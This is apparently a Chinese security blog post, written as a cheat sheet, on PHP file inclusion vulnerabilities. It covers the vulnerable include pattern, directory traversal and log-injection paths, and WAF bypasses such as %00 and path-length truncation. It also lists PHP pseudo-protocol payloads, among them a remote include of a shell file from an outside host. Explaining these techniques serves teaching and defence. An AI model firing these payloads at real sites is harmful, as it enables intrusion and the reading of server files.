美文网首页
3.9 文件包含

3.9 文件包含

作者: 最酷的崽_ec69 | 来源:发表于2019-12-02 16:51 被阅读0次

3.9.1. 基础

  常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>
  考虑常用的几种包含方式为

  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ
      其中日志可以使用SSH日志或者Web日志等多种日志来源测试

3.9.2. 绕过技巧

  常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

3.9.2.1. url编码绕过

  如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

3.9.2.2. 特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ? *
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

3.9.2.3. %00截断

  几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。

3.9.2.4. 长度截断

  Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。
  msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。
  获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255
  那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉
  在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

3.9.2.5. 伪协议绕过

  • 远程包含: 要求 allow_url_fopen=Onallow_url_include=On , payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
  • PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式
  • Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
  • data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On

3.9.3. 参考链接

相关文章

  • 3.9 文件包含

    3.9.1. 基础   常见的文件包含漏洞的形式为

  • 【文件包含】PHP文件包含漏洞

    0x01 文件包含函数 include() include_once() require() require_on...

  • 文件包含

    本文作者是一个白的不能再白的小白的写的,自身的水平有限,本着分享的态度,如遇到不对的地方,希望大家多多提意见。 文...

  • 文件包含

    如何侵入系统 1 程序通过【包含函数】调用本地或远程文件,来实现漏洞上传。2 被包含的文件是各种格式,文件中可能就...

  • 文件包含

    一.本文介绍 1、本文介绍文件本地包含(LIF)、远程包含(RLF)、包含日志文件、包含读文件、包含截断、str_...

  • 2019-09-02 文件包含和几个伪协议

    本地文件包含和远程文件包含: 本地文件包含:只要内容中带有即可解析成php文件执行。即使包含的文件...

  • Jar和arr的区别

    jar:只包含class文件与清单文件,不包含资源文件; arr:包含所有资源、class文件和res文件;

  • Shell脚本语言:文件包含、cat命令、获取用户输入(5)

    一、文件包含:1、文件B包含文件A:示例代码: 2、文件B包含文件A:示例代码: 二、cat命令: 作用: 语法:...

  • Hadoop权威指南第三版-中文-ch3 (6)Hadoop存档

    注:本文涉及书中3.9小结 Hadoop存档 1. 综述 Hadoop存档文件或HAR文件,是一个高效的文件存档工...

  • 文件包含漏洞

    文件包含 常见文件包含函数 利用条件 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件 ...

网友评论

      本文标题:3.9 文件包含

      本文链接:https://www.haomeiwen.com/subject/bypwvctx.html